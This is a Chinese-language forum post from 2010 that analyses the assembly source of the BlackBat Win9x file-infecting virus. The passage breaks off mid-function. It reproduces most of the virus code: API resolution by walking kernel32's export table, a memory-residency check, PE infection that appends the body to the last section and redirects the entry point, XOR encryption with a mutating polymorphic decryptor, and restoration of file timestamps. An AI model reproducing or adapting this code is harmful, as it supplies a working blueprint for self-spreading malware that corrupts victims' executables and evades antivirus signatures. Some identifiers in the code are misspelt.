-
-
[原创]BlackBat 学习之旅
-
发表于: 2010-12-18 23:15 11591
-
最近一直在研究病毒技术~~在这里给大家分析一个比较经典的病毒样例~~其实当你仔细研究过这个病毒之后,现在的很多病毒中都会用到其中的一些技术~~~~或是根据这个病毒改进而来的,Let's Go~~~~
.386p
.model flat,stdcall
EXTRN ExitProcess:PROC //这里就不多分析了,TASM程序开头
接下来,又定义了如下一些数据,包括宏,数据结构和常量等~~
宏主要如下:
@MESSAGE BOX MACRO szMessage
IF DEBUG
@DELTA esi
mov eax,esi
add eax,offset szMessage
call esi + MessageBoxA,0,eax,eax,MB_OK OR MB_ICONINFORMATION
ENDIF
endm
@DEFINE_API MACRO APIName
sz&APIName DB '&APIName',0
&APIName DB ?
endm
@DELTA MACRO Register
LOCAL GetIP
call GetIP
GetIP:
pop Register
sub Register,offset GetIP
endm
@OFFSET MACRO Register,Expression
LOCAL GetIP
call GetIP
GetIP:
pop Register
add Register,offset Expression - offset GetIP
endm
@GET API ADDRESS MACRO APIName
push ebx ;保存GetProcAddress的地址
push ecx ;保存ImageBase
mov eax,esi
add eax,offset sz&APIName ;API地址
call ebx,ecx,eax ;GetProcAddress
pop ecx ;重置ImageBase
pop ebx ;重置GetProcAddress的地址
mov [esi + APIName],eax ;保存API地址
endm
@TRY BEGIN MACRO Handler
pushad ;保存当前状态
@OFFSET esi,Handler ;新的异常处理地址
push esi
push dword ptr fs:[0] ;保存旧的异常处理
mov dword ptr fs:[0],esp ;安装新的异常
endm
@TRY_EXCEPT MACRO Handler
jmp NoException&Handler ;如果没有异常发现,就跳转
Handler:
mov esp,[esp+8] ;有异常发现就得到旧的ESP值
pop dword ptr fs:[0] ;重置旧的异常处理
add esp,4
popad
endm
@TRY_END MACRO Handler
jmp ExceptionHandled&Handler ;跳到异常处理
NoException&Handler:
pop dword ptr fs:[0]
add esp,32 + 4
ExceptionHandled&Handler:
endm
@CALL INT21h MACRO Service
mov eax,Service ;保存Service的值
@DELTA esi
call esi + VxDCall,VWIN32_Int21Dispatch,eax,ecx
endm
随后是一些数据常量
PAGE_READWRITE EQU 00000004h
IMAGE_READ_WRITE_EXECUTE EQU 0E0000000h
IMAGE_SCN_WRITE_SHARED EQU 10000000h ;共享区域
IMAGE_FILE_DLL EQU 2000h ;文件类型是DLL
FILE_MAP_ALL_ACCESS EQU 000F001Fh
IMAGE_SIZEOF_NT_SIGNATURE EQU 04h ;PE00 = 0x00004550,4bytes
NULL EQU 0
TRUE EQU 1
FALSE EQU 0
;File Access
GENERIC_READ EQU 80000000h ;只读
GENERIC_WRITE EQU 40000000h ;只写
FILE_SHARE_READ EQU 00000001h ;共享,写
FILE_SHARE_WRITE EQU 00000002h ;共享,读
INVALID_HANDLE_VALUE EQU -1
ERROR_ALREADY_EXISTS EQU 000000B7h
FILE_ATTRIBUTE_NORMAL EQU 00000080h
OPEN_EXISTING EQU 3 ;文件没找到
;Shutdown Options
EWX_FORCE EQU 4
EWX_SHUTDOWN EQU 1
;MessageBox
MB_OK EQU 00000000h
MB_YESNO EQU 00000004h
MB_ICONINFORMATION EQU 00000040h
;Virus_Constants
@BREAK EQU int 3
;MAX_RUN_TIME EQU 5*60*60*1000 ;Time we allow windows to run, 5hrs
VIRUS_SIGNATURE EQU 08121975h ;作者的生日
RESIDENCY_CHECK_SERVICE EQU 0AD75h ;检查病毒是否存在
RESIDENCY_SUCCESS EQU 0812h ;病毒存在
;VxD Stuff
VWIN32_Int21Dispatch EQU 002A0010h
LFN_OPEN_FILE_EXTENDED EQU 716Ch
PC_WRITEABLE EQU 00020000h
PC_USER EQU 00040000h
PR_SHARED EQU 80060000h
PC_PRESENT EQU 80000000h
PC_FIXED EQU 00000008h
PD_ZEROINIT EQU 00000001h
SHARED_MEMORY EQU 80000000h ;上面的所有一切都是共享的
PageReserve EQU 00010000h
PageCommit EQU 00010001h
PAGE_SIZE EQU 4096 ;Win9x页大小
最后是一些很重要的数据结构,相信这些数据结构大家会在很我场合用到过~~~其实就是PE结构,我就不详解了,不懂的看我以前的那个PE连载吧~~
FILETIME STRUC ;定义文件时间结构体
FT_dwLowDateTime DD ?
FT_dwHighDateTime DD ?
FILETIME ENDS
IMAGE_DOS_HEADER STRUC
IDH_e_magic DW ?
IDH_e_cblp DW ?
IDH_e_cp DW ?
IDH_e_crlc DW ?
IDH_e_cparhdr DW ?
IDH_e_minalloc DW ?
IDH_e_maxalloc DW ?
IDH_e_ss DW ?
IDH_e_sp DW ?
IDH_e_csum DW ?
IDH_e_ip DW ?
IDH_e_cs DW ?
IDH_e_lfarlc DW ?
IDH_e_ovno DW ?
IDH_e_res DW 4 DUP (?)
IDH_e_oemid DW ?
IDH_e_oeminfo DW ?
IDH_e_res2 DW 10 DUP (?)
IDH_e_lfanew DD ?
IMAGE_DOS_HEADER ENDS
IMAGE_FILE_HEADER STRUC
IFH_Machine DW ?
IFH_NumberOfSections DW ?
IFH_TimeDateStamp DD ?
IFH_PointerToSymbolTable DD ?
IFH_NumberOfSymbols DD ?
IFH_SizeOfOptionalHeader DW ?
IFH_Characteristics DW ?
IMAGE_FILE_HEADER ENDS
IMAGE_DATA_DIRECTORY STRUC
IDD_VirtualAddress DD ?
IDD_Size DD ?
IMAGE_DATA_DIRECTORY ENDS
IMAGE_OPTIONAL_HEADER STRUC
;Standard Fields
IOH_Magic DW ?
IOH_MajorLinkerVersion DB ?
IOH_MinorLinkerVersion DB ?
IOH_SizeOfCode DD ?
IOH_SizeOfInitializedData DD ?
IOH_SizeOfUninitializedData DD ?
IOH_AddressOfEntryPoint DD ?
IOH_BaseOfCode DD ?
IOH_BaseOfData DD ?
;NT Additional Fields
IOH_ImageBase DD ?
IOH_SectionAlignment DD ?
IOH_FileAlignment DD ?
IOH_MajorOperatingSystemVersion DW ?
IOH_MinorOperatingSystemVersion DW ?
IOH_MajorImageVersion DW ?
IOH_MinorImageVersion DW ?
IOH_MajorSubsystemVersion DW ?
IOH_MinorSubsystemVersion DW ?
IOH_Win32VersionValue DD ?
IOH_SizeOfImage DD ?
IOH_SizeOfHeaders DD ?
IOH_CheckSum DD ?
IOH_Subsystem DW ?
IOH_DllCharacteristics DW ?
IOH_SizeOfStackReserve DD ?
IOH_SizeOfStackCommit DD ?
IOH_SizeOfHeapReserve DD ?
IOH_SizeOfHeapCommit DD ?
IOH_LoaderFlags DD ?
IOH_NumberOfRvaAndSizes DD ?
IOH_DataDirectory IMAGE_DATA_DIRECTORY 16 DUP (?)
IMAGE_OPTIONAL_HEADER ENDS
IMAGE_EXPORT_DIRECTORY STRUC
IED_Characteristics DD ?
IED_TimeDateStamp DD ?
IED_MajorVersion DW ?
IED_MinorVersion DW ?
IED_Name DD ?
IED_Base DD ?
IED_NumberOfFunctions DD ?
IED_NumberOfNames DD ?
IED_AddressOfFunctions DD ?
IED_AddressOfNames DD ?
IED_AddressOfNameOrdinals DD ?
IMAGE_EXPORT_DIRECTORY ENDS
IMAGE_SECTION_HEADER STRUC
ISH_Name DB 8 DUP (?) ;NULL padded ASCII string
UNION
ISH_PhysicalAddress DD ?
ISH_VirtualSize DD ?
ENDS
ISH_VirtualAddress DD ?
ISH_SizeOfRawData DD ?
ISH_PointerToRawData DD ?
ISH_PointerToRelocations DD ?
ISH_PointerToLinenumbers DD ?
ISH_NumberOfRelocations DW ?
ISH_NumberOfLinenumbers DW ?
ISH_Characteristics DD ?
IMAGE_SECTION_HEADER ENDS
SYSTEMTIME STRUC ;系统时间结构体
ST_wYear DW ?
ST_wMonth DW ?
ST_wDayOfWeek DW ?
ST_wDay DW ?
ST_wHour DW ?
ST_wMinute DW ?
ST_wSecond DW ?
ST_wMilliseconds DW ?
SYSTEMTIME ENDS
好了上面的准备工作做完了,正式进入病毒体的分析阶段吧~~~
病毒的入口点代码如下:
.code
;Decryptor
StartOfVirusCode:
call GetDelta
GetDelta:
DB 5Eh ;pop esi
DB 83h ;add esi,EncryptedVirusCode - GetDelta
DB 0C6h
DB offset EncryptedVirusCode - offset GetDelta
DB 0B9h ;mov ecx,ENCRYPTED_SIZE(需要加密的长度) ------> $(代码结尾处)-offset EncryptedVirusCode
DD ENCRYPTED_SIZE
DecryptByte:
DB 80h ;xor byte ptr [esi],00h(用XOR进行加密)
DB 36h
EncryptionKey:
DB 00h
DB 46h ;inc esi
DB 49h ;dec ecx
jnz DecryptBytes
EncryptedVirusCode: ;从这里代码将会被加密
jmp WinMain ;跳转到主程序处
这段代码很经典,如果大家经常看一些病源代码,就会发现大部分病毒都是这样的(或有一些小的变化),可能这段代码已经被一些杀毒软件记录下来,作为特征码了
吧,这里只是用机器码来取代汇编指令,其实你用OD进行调试的时候是一样的~~~~~
接下来,程序又在代码段中定义了一些数据~~~~
;-----------------------------Data Area--------------------------------
dwKernelBase EQU 0BFF70000h ;KERNE32.DLL的基址
dwUserBase DD ? ;USER32.DLL的基址
szUser32DLL DB "USER32",0 ;不需要.DLL的扩展名
;Host File Variables
hHostFile DD ? ;主文件句柄
hMappingFile DD ? ;映射文件句柄
lpHostFile DD ? ;指向内存中文件映射
ftLastAccessTime FILETIME ? ;被后一些文件访问时间
ftLastWriteTime FILETIME ? ;最后一次文件写入时间
;Virus Variables
szNoInfectFileName DB "C:\WIN.SYS",0 ;如果这个文件存在,就不进行感染
;VxD Stuff
OldInt30 DB 6 DUP(0)
VxDCall_Busy DB ? ;信号量
szOutputFile DB "C:\VIRUS.TXT",0
;KERNEL32 API's
VxDCall DD ? ;输出表序号
@DEFINE_API GetProcAddress
@DEFINE_API CloseHandle
@DEFINE_API CreateFileA
@DEFINE_API CreateFileMappingA
@DEFINE_API GetFileAttributesA
@DEFINE_API GetFileSize
@DEFINE_API GetFileTime
@DEFINE_API GetTickCount
@DEFINE_API LoadLibraryA
@DEFINT_API MapViewOfFile
@DEFINE_API SetFileAttributesA
@DEFINE_API SetFileTime
@DEFINE_API UnmapViewOfFile
;USER32 API's
@DEFINE_API ExitWindnowsEx
IF DEBUG
@DEFINE_API MessageBoxA
ENDIF
;DEBUG Only Stuff
IF DEBUG
szHostFileName DB 'NOTEPAD.EXE',0
szWinMainHandler DB 'UnHandled Exception in WinMain',0
szPayLoad DB 'Happy BirthDay',0
szInfected DB 'This File is Infected by the BlackBat Virus',0
ENDIF
;入口代码讲完了,我们进入主题吧~~~~前面的代码未尾用一个JMP语句跳到我们的主程序段中
;-------------WinMain----------------
WinMain PROC
IF DEBUG ;如果程序正在被单步调试,将会出现一些异常情况,一种简单的反调试技巧
cli
not esp
not esp
sti
ENDIF
@TRY_BEGIN WinMain_Handler ;这里调用前面的宏进行SEH异常处理的安装
(1) call IsVirusActive
test eax,eax
jne End_WinMain
;Get Addresses of all Required API's
(2) call GetAPIAddresses ;得到其它API函数的地址
test eax,eax ;函数返回值
jz WinMain ;循环
IF DEBUG
@MESSAGE_BOX szInfected
@OFFSET ebx,szHostFileName
(3) call InfectFile,ebx
ENDIF
;Check if this Machine is to be Infected
(4) call CanMachineBeInfected ;判断是否感染这台机器
test eax,eax
jz End_WinMain ;不感染
;Relocate Virus (Make Resident)
(5) call RelocateVirus
test eax,eax ;病毒是否已重定位
je End_WinMain
;Jump to Relocated Virus Copy
@OFFSET ebx,StartOfVirusCode ;从没有重定位地方开始拷贝
add eax,offset RelocatedVirus - offset StartOfVirusCode
jmp eax ;跳转到重定位处
;在共享内存中拷贝重定位代码
RelocatedVirus:
@DELTA eax
mov esi,eax ;保存Delta地址偏移
add eax,offset StartOfVirusCode ;从病毒的重定位开始
sub eax,ebx ;相差的偏移量
;下面主要是为了让病毒能在正确的内存位置处进行执行
add esi,offset ReturnToHost + 1 ;指向JMP操作
sub [esi],eax ;修改JMP指令
(6) call InstallHookProcedure
End_WinMain:
@TRY_EXCEPT WinMain_Handler
@MESSAGE_BOX szWinMainHandler
@TRY_EXCEPT WinMain_Handler
ReturnToHost:
DB 0E9h,00,00,00,00 ;这里是一种很常见的HOOK API技术了,使用JMP指令进行跳转
WinMain endp
接下来,我将以主程序为一条主线,进行讲解,上面我标出了,主程序中使用的六个函数,我们来重点分析这几个函数都在做些什么工作吧~~
(1)IsVirusActive 用于判断病毒在内存中的状态
IsVirusActive PROC
(*) call GetAddressOfKernelAPI, 0 ;调用GetAddressOfKernelAPI得到VxDCall的API地址
test eax, eax
jz End_IsVirusActive ;如果函数调用失败就直接返回
@OFFSET ebx, VxDCall ;成功,则保存VxDCall API地址
mov [ebx], eax
@CALL_INT21h RESIDENCY_CHECK_SERVICE ;调用前面定义的宏,检查是否已经被感染了
xor eax, eax
cmp esi, RESIDENCY_SUCCESS
jne End_IsVirusActive ;如果已经被感染了,也直接返回
inc eax
End_IsVirusActive:
ret
IsVirusActive ENDP
这里又调用了一个函数(*)处,我们在跟进去看看~~~
GetAddressOfKernelAPI PROC gaoka wAPIName:DWORD
local lpdwAddressOfFunctions:DWORD
local lpdwAddressOfNames:DWORD
local lpwAddressOfNameOrdinals:DWORD
local dwVAIEd:DWORD
;得到文件头
(*) call GetFileHeaders,dwKernelBase ;调用GetFileHeaders得到文件头
test eax,eax ;成功,则保存文件头
je End_GetAddressOfKernelAPI ;不成功,则直接返回
mov [dwVAIED],edx ;保存文件头
mov esi,dwKernelBase ;将前面定义的kernel32.dll基地址传给esi
;得到函数地址
mov ecx,[dwVAIED]
mov eax,(IMAGE_EXPORT_DIRECTORY[ecx]).IED_AddressOfFunctions
add eax,esi ;得到函数的虚拟地址
mov dword ptr [lpdwAddressOfFunctions],eax
;查找那些需要的API函数
cmp [gaoka_wAPIName],0 ;返回VxDCall或GetProcAddress地址
jne GetProcAddressRequired ;如果是需要的函数API,则跳转到GetProcAddress
;通过索引来得到函数地址
xor eax,eax
inc eax ;索引号
sub eax,(IMAGE_EXPORT_DIRECTORY [ecx]).IED_Base ;索引号是否在指定范围内
jmp GetAddressFromIndex
GetProcAddressRequired:
;得到函数的名称
mov ecx, [dwVAIED]
mov eax, (IMAGE_EXPORT_DIRECTORY [ecx]).IED_AddressOfNames
add eax, esi ;得到函数的虚拟地址
mov dword ptr [lpdwAddressOfNames], eax
;得到函数地址
mov ecx, [dwVAIED]
mov eax, (IMAGE_EXPORT_DIRECTORY [ecx]).IED_AddressOfNameOrdinals
add eax, esi ;函数的地址
mov dword ptr [lpwAddressOfNameOrdinals], eax
;在名称地址数组中查找API
push esi ;保存kernel32.dll基址
mov eax, esi ;保存在EAX中
xor ebx, ebx
dec ebx ;初始化索引减一
mov edx, dword ptr [lpdwAddressOfNames]
@OFFSET esi, szGetProcAddress ;如果找到
mov ecx, esi ;保存地址在ECX中
CheckNextAPI:
inc ebx ;增加索引
mov edi, dword ptr [edx + ebx*4] ;通过索引得到函数地址
add edi, eax ;得到虚拟地址
mov esi, ecx ;得到前面那个函数的地址
CheckNextByte:
cmpsb ;检查字符串
jne CheckNextAPI ;如果不与需要的API相同,就继续查找下一个字符
cmp byte ptr [edi], 0 ;是否到达了函数表的未尾
je FoundAPI ;是否找到了API
jmp CheckNextByte ;没有,就继续下一个吧
FoundAPI:
pop esi
;Compute the Index
mov ecx, ebx
mov edx, dword ptr [lpwAddressOfNameOrdinals]
movzx eax, word ptr [edx + ecx*2] ;函数的索引
;Get the Address (EAX = Index, ESI = Kernel32 Base)
GetAddressFromIndex:
mov ebx, [lpdwAddressOfFunctions]
mov eax, dword ptr [ebx + eax*4] ;API的相对虚拟地址
add eax, esi ;API的虚拟地址
End_GetAddressOfKernelAPI:
ret
GetAddressOfKernelAPI ENDP
这个函数里面又调用了一个新的函数(*)GetFileHeaders得到文件头
GetFileHeaders PROC gfh_dwFileBase:DWORD
LOCAL dwIOH:DWORD, \
dwIED:DWORD, \
mov esi, [gfh_dwFileBase]
cmp word ptr [esi], "ZM" ;比较是EXE还是DLL
jne Error_GetFileHeaders
;Check for PE Signature
add esi, (IMAGE_DOS_HEADER [esi]).IDH_e_lfanew
cmp dword ptr [esi], "EP" ;是否是PE文件
jne Error_GetFileHeaders
;Get Image Optional Header
add esi, IMAGE_SIZEOF_NT_SIGNATURE ;文件头映像
push esi ;保存文件头映像
add esi, SIZE IMAGE_FILE_HEADER ;可选头映像
mov [dwIOH], esi ;保存可选头映像
;Get the Address of the Image Export Directory
mov esi, (IMAGE_OPTIONAL_HEADER [esi]).IOH_DataDirectory(0).IDD_VirtualAddress ;得到输出表的映像地址
Export Directory
add esi, [gfh_dwFileBase]
mov dword ptr [dwIED], esi
;Get Address of Last Section Header
pop esi ;得到文件头的大小
movzx ecx, (IMAGE_FILE_HEADER [esi]).IFH_SizeOfOptionalHeader
add ecx, [dwIOH] ;得到第一个区块大小
movzx eax, (IMAGE_FILE_HEADER [esi]).IFH_NumberOfSections
dec eax ;区块数减1
imul eax, eax, SIZE IMAGE_SECTION_HEADER ;所有区块头总和
;mov ebx, SIZE IMAGE_SECTION_HEADER
;mul ebx ;Size of All Section Headers
add ecx, eax ;Address of Last Section Header
;Return Header Values
mov eax, esi ;文件头映像
mov ebx, [dwIOH]
mov edx, [dwIED]
jmp End_GetFileHeaders
Error_GetFileHeaders:
xor eax, eax ;Error, Return 0
End_GetFileHeaders:
ret
GetFileHeaders ENDP
(1)我们就分析完成了,接着看(2)得到所有需要的API函数地址
GetAPIAddresses PROC
(*) call GetAddressOfKernelAPI,1 ;通过GetAddressOfKernelAPI函数,得到GetProcAddress的地址
test eax,eax
jz End_GetAPIAddresses ;是否得到,如是没有得到,则直接返回
;得到所有需要的API函数地址
;ESI = Delta 的偏移
;EBX = GetProcAddress函数地址
;ECX = kerne32.dll的基址
@DELTA esi
mov ebx,eax
mov ecx,dwKernelBase
@GET_API_ADDRESS CloseHandle
@GET_API_ADDRESS CreateFileA
@GET_API_ADDRESS CreateFileMappingA
@GET_API_ADDRESS GetFileAttributesA
@GET_API_ADDRESS GetFileSize
@GET_API_ADDRESS GetFileTime
@GET_API_ADDRESS GetLocalTime
@GET_API_ADDRESS GetTickCount
@GET_API_ADDRESS LocaLibraryA
@GET_API_ADDRESS MapViewOfFile
@GET_API_ADDRESS SetFileAttributesA
@GET_API_ADDRESS SetFileTime
@GET_API_ADDRESS UnmapViewOfFile
;加载User32.dll
push ebx ;保存GetProcAddress函数地址
mov eax,esi ;Delta偏移
add eax,offset szUser32Dll ;user32.DLL被加载
call esi + LoadLibraryA,eax
mov ecx,eax ;user32.dll基址
pop ebx ;重置GetProcAddress函数地址
;得到所有需要的API函数地址
;ESI = Delta的偏移
;EBX = GetProcAddress函数地址
;ECX = user32.dll的基址
@GET_API_ADDRESS ExitWindowsEx ;调用宏得到ExitWindowsEx的地址
IF DEBUG
@GET_API_ADDRESS MessageBoxA ;调用宏得到MessageBoxA的地址
ENDIF
End_GetAPIAddresses:
ret
GetAPIAddresses endp
这个函数比较简单就是得到我们需要用到的API函数的地址即可,再来看(3),这个函数是程序的关键,即感染文件函数
InfectFile PROC if_szFileName:DWORD
LOCAL lpdwLastSection:DWORD, \
dwVirusBegin:DWORD, \
dwNewEntryRVA:DWORD, \
dwJumpBytes:DWORD, \
dwIOH:DWORD, \
dwIncFileSize:DWORD, \
dwIncSecSize:DWORD, \
dwDeltaOffset:DWORD
@DELTA esi
mov [dwDeltaOffset], esi ;保存Delta偏移量
;检查文件是否已经被感染
(*) call CanFileBeInfected, if_szFileName
test eax, eax
jz End_InfectFile ;如果被感染了,直接返回
mov [dwIncFileSize], ebx ;保存增加的文件大小
mov [dwIncSecSize], ecx ;保存增加的区块大小
;Map Host File into Memory
(*) call OpenAndMapFile, if_szFileName, dwIncFileSize
test eax, eax ;文件打开,映射是否成功
jz End_InfectFile ;如果没有成功,则直接返回
mov esi, [dwDeltaOffset]
mov [esi + lpHostFile], eax ;保存文件开始地址
;Get File Headers
(*) call GetFileHeaders, eax ;得到文件头
mov [dwIOH], ebx
mov [lpdwLastSection], ecx
;计算病毒代码在文件开始位置
mov eax, (IMAGE_SECTION_HEADER [ecx]).ISH_PointerToRawData
add eax, (IMAGE_SECTION_HEADER [ecx]).ISH_SizeOfRawData
mov [dwVirusBegin], eax ;文件新的入口点相对位置
;计算新的入口点的相对虚拟地址
mov ebx, [lpdwLastSection]
sub eax, (IMAGE_SECTION_HEADER [ebx]).ISH_PointerToRawData
add eax, (IMAGE_SECTION_HEADER [ebx]).ISH_VirtualAddress
mov [dwNewEntryRVA], eax
;计算JMP指令字节数
add eax, offset ReturnToHost - offset StartOfVirusCode
mov ebx, [dwIOH]
sub eax, (IMAGE_OPTIONAL_HEADER [ebx]).IOH_AddressOfEntryPoint
add eax, 4
not eax
mov [dwJumpBytes], eax ;保存这个字节数
;在主程序中增加病毒部分
mov esi, offset StartOfVirusCode ;拷贝病毒
add esi, [dwDeltaOffset]
mov edi, [dwVirusBegin]
mov ebx, [dwDeltaOffset]
add edi, [ebx + lpHostFile] ;拷贝地址
mov ecx, VIRUS_SIZE
rep movsb
;写入新的JMP指令
;Offset in File where operand to JMP instruction is to be put
mov ebx, offset ReturnToHost + 1 - offset StartOfVirusCode
add ebx, [dwVirusBegin] ;文件中的偏移地址
mov esi, [dwDeltaOffset]
add ebx, [esi + lpHostFile] ;校正映射文件的偏移
mov ecx, [dwJumpBytes]
mov [ebx], ecx
;更新最后一个区块
mov eax, [lpdwLastSection]
mov ebx, [dwIncSecSize]
mov ecx, [dwIncFileSize]
add (IMAGE_SECTION_HEADER [eax]).ISH_SizeOfRawData, ecx
add (IMAGE_SECTION_HEADER [eax]).ISH_VirtualSize, ebx
or (IMAGE_SECTION_HEADER [eax]).ISH_Characteristics, IMAGE_READ_WRITE_EXECUTE
;为文件计算虚拟大小
mov ebx, (IMAGE_SECTION_HEADER [eax]).ISH_SizeOfRawData
cmp (IMAGE_SECTION_HEADER [eax]).ISH_VirtualSize, ebx
jge VirtualSizeFine ;No, Fix Not Required
mov (IMAGE_SECTION_HEADER [eax]).ISH_VirtualSize, ebx
VirtualSizeFine:
;更新PE头
mov ebx, [dwIOH] ;Address of Image Optional Header
add (IMAGE_OPTIONAL_HEADER [ebx]).IOH_SizeOfImage, ecx
;更新PE头的相对虚拟地址
mov ecx, [dwNewEntryRVA] ;得到新入口的RVA
mov (IMAGE_OPTIONAL_HEADER [ebx]).IOH_AddressOfEntryPoint, ecx
;Update the Win32VersionValue field. This is used as a Virus Signature
mov (IMAGE_OPTIONAL_HEADER [ebx]).IOH_Win32VersionValue, VIRUS_SIGNATURE
;Encrypt the file, and Close it
mov ebx, [dwDeltaOffset]
mov edi, [ebx + lpHostFile] ;主程序的开始地址
add edi, [dwVirusBegin] ;病毒在文件中的地址
(*) call EncryptVirus ;加密病毒体
(*) call UnmapAndCloseFile, if_szFileName
xor eax, eax
inc eax ;如果成功,返回1
End_InfectFile:
ret
InfectFile ENDP
这个函数里面有几个函数,我们一一分析开来,重复的就不分析了
(*)CanFileBeInfected 这个函数主要是用来检查文件是否被感染~~检查的主要依据:
(1)文件必须是EXE文件
(2)文件头须是PE
(3)不能是DLL文件
(4)是否是被我们的病毒感染
(5)不能是自WinZip类的自解压文件
CanFileBeInfected PROC cfbe_szFileName:DWORD
;映射文件,但不增加文件大小
(*) call OpenAndMapFile, cfbe_szFileName, 0
test eax, eax ;文件打开映射成功是否成功
jz End_CanFileBeInfected
;得到文件头
(*) call GetFileHeaders, eax
test eax, eax
je End_CanFileBeInfected
;检查文件是否被感染
cmp (IMAGE_OPTIONAL_HEADER [ebx]).IOH_Win32VersionValue, VIRUS_SIGNATURE
jz Error_CanFileBeInfected ;File is already infected
;检查文件是否是DLL文件
test (IMAGE_FILE_HEADER [eax]).IFH_Characteristics, IMAGE_FILE_DLL
jnz Error_CanFileBeInfected ;Yes
cmp dword ptr (IMAGE_SECTION_HEADER [ecx]).ISH_Name, "niw_" ;是不是_win
je Error_CanFileBeInfected ;是的,就不感染
mov eax, ebx ;可选头映像
mov ebx, (IMAGE_OPTIONAL_HEADER [eax]).IOH_FileAlignment
mov ecx, (IMAGE_OPTIONAL_HEADER [eax]).IOH_SectionAlignment
;计算要增加的区块长度
;INC_SEC_SIZE = [(VIRUS_SIZE - 1 + SECTION_ALIGN) / SECTION_ALIGN] * SECTION_ALIGN ; 这个公式在很多写病毒的场合用于,哈哈
mov eax, VIRUS_SIZE - 1 ;增加区块
add eax, ecx
xor edx, edx
div ecx
mul ecx
push eax
;计算文件增加大小
;INC_FILE_SIZE = (INC_SEC_SIZE - 1 + FILE_ALIGN) / FILE_ALIGN] * FILE_ALIGN
mov eax, VIRUS_SIZE - 1
add eax, ebx
div ebx
mul ebx
push eax
;关闭文件句柄,并返回相关值
(*) call UnmapAndCloseFile, cfbe_szFileName
pop ebx
pop ecx
xor eax, eax
inc eax
jmp End_CanFileBeInfected
Error_CanFileBeInfected:
(*) call UnmapAndCloseFile, cfbe_szFileName
xor eax, eax
End_CanFileBeInfected:
ret
CanFileBeInfected ENDP
回到InfectFile函数里面,它还调用了一个打开文件句柄的函数
OpenAndMapFile PROC oamf_szFileName:DWORD, oamf_dwAddBytes:DWORD
@DELTA esi
;保存文件属性
call esi + GetFileAttributesA, oamf_szFileName
mov [esi + dwFileAttributes], eax ;保存文件属生
call esi + SetFileAttributesA, oamf_szFileName, FILE_ATTRIBUTE_NORMAL
test eax, eax ;设置文件属性是否成功
je End_OpenAndMapFile
;以读写方式打开文件
call esi + CreateFileA, oamf_szFileName, GENERIC_READ OR GENERIC_WRITE, \
FILE_SHARE_READ, NULL, OPEN_EXISTING, NULL, NULL
cmp eax, INVALID_HANDLE_VALUE ;文件打开是否成功
je Error_OpenAndMapFile_Create
mov [esi + hHostFile], eax ;成功保存文件句柄
;得到文件时间
lea ebx, [esi + ftLastAccessTime]
lea ecx, [esi + ftLastWriteTime]
call esi + GetFileTime, eax, NULL, ebx, ecx
;计算新文件大小
call esi + GetFileSize, [esi + hHostFile], NULL
add eax, [oamf_dwAddBytes] ;计算新文件大小
;映射文件
call esi + CreateFileMappingA, [esi + hHostFile], NULL, PAGE_READWRITE, \
0, eax, NULL
test eax, eax ;创建映射文件是否成功
jz Error_OpenAndMapFile_Mapping
mov [esi + hMappedFile], eax ;成功,保存句柄
call esi + MapViewOfFile, eax, FILE_MAP_ALL_ACCESS, 0, 0, 0
mov [esi + lpHostFile], eax
test eax, eax
jnz End_OpenAndMapFile
call esi + CloseHandle, [esi + hMappedFile] ;失败关闭映射文件,保存文件属性
Error_OpenAndMapFile_Mapping:
call esi + CloseHandle, [esi + hHostFile] ;失败关闭文件
Error_OpenAndMapFile_Create:
call esi + SetFileAttributesA, oamf_szFileName, [esi + dwFileAttributes]
xor eax, eax ;设置文件属性错误,返回0
End_OpenAndMapFile:
ret
OpenAndMapFile ENDP
接下来程序又调用了加密病毒代码的函数(*)EncryptVirus,并使用了简单的多态,如下所示
EncryptVirus PROC
push edi ;保存病毒代码的开始位置
;得到加密密钥进行加解密
;@DELTA esi
;调用 esi + GetTickCount得到随便数并存放在EAX中
in al, 40h ;得到随机密钥
IF DEBUG
xor al, al ;如果在调试状态,则不加密
ENDIF
mov ecx, ENCRYPTED_SIZE
add edi, LOADER_SIZE ;不加密
EncryptByte:
xor byte ptr [edi], al ;加密
inc edi
loop EncryptByte
pop edi ;重置病毒代码的加密位置
mov byte ptr [edi + EncryptionKey - StartOfVirusCode], al
(*) call MutateDecryptor ;调用多态进行解密
ret
EncryptVirus ENDP
接下来看看MutateDecryptor函数是怎么样多态的?
MutateDecryptor PROC
;得到两个随机寄存器
(*) call RandomRegister ;得到第一个寄存器数据
mov ah, al ;保存
GetAnotherRegister:
call RandomRegister ;得到第二个寄存器数据
cmp ah, al ;是否和第一个相同
je GetAnotherRegister ;相同,则去得到另一个寄存器,循环
;解密使用新的寄存器
mov bl, 58h ;修改pop
add bl, al ;Register 1
mov byte ptr [edi + 5], bl
mov bl, 0C0h ;修改add
add bl, al ;Register 1
mov byte ptr [edi + 7], bl
mov bl, 0B8h ;修改mov
add bl, ah ;Register 2
mov byte ptr [edi + 9], bl
mov bl, 30h ; 修改xor
add bl, al ;Register 1
mov byte ptr [edi + 15], bl
mov bl, 40h ;修改inc
add bl, al ;Register 1
mov byte ptr [edi + 17], bl
mov bl, 48h ;修改dec
add bl, ah ;Register 2
mov byte ptr [edi + 18], bl
ret
MutateDecryptor ENDP
RandomRegister PROC
NewRandom:
in al, 40h ;得到随机数
and al,00000111b ;最大值为7
cmp al, 4 ;不能为4
je NewRandom
cmp al, 5 ;也不能为5
je NewRandom
ret
RandomRegister ENDP
这个我们病毒的加密与解密也分析完了,重新回来InfectFile函数中,看最后一个调用的函数(*)UnmapAndCloseFile
UnmapAndCloseFile PROC uacf_szFilename:DWORD
;Unmap File
@DELTA esi
call esi + UnmapViewOfFile, [esi + lpHostFile] ;Unmap the File
call esi + CloseHandle, [esi + hMappedFile] ;Close File Mapping
;Restore File Time
lea eax, [esi + ftLastAccessTime]
lea ebx, [esi + ftLastWriteTime]
call esi + SetFileTime, [esi + hHostFile], NULL, eax, ebx
;Close File
call esi + CloseHandle, [esi + hHostFile] ;Close the File
;Restore File Attributes
call esi + SetFileAttributesA, uacf_szFilename, [esi + dwFileAttributes]
ret
UnmapAndCloseFile ENDP
这个函数我就不多说了,就是完成感染后的收尾,恢复工作吧了
这样我们的主程中的感染函数就到这里了,其实很简单就是给文件新增加了一个节用于存放病毒,并使用了简单的多态对病毒代码部分进行加密处理
重新回来主程序中,感染之后,我们又调用了(4)CanMachineBeInfected,这个函数用于判断本台机器是否已经被感染过
CanMachineBeInfected PROC
@DELTA esi
;Check if the "No Infect" file exists on the current machine
mov eax, esi
add eax, offset szNoInfectFileName
call esi + CreateFileA, eax, GENERIC_READ, FILE_SHARE_READ, NULL, \
OPEN_EXISTING, NULL, NULL
cmp eax, INVALID_HANDLE_VALUE ;文件是否被打开
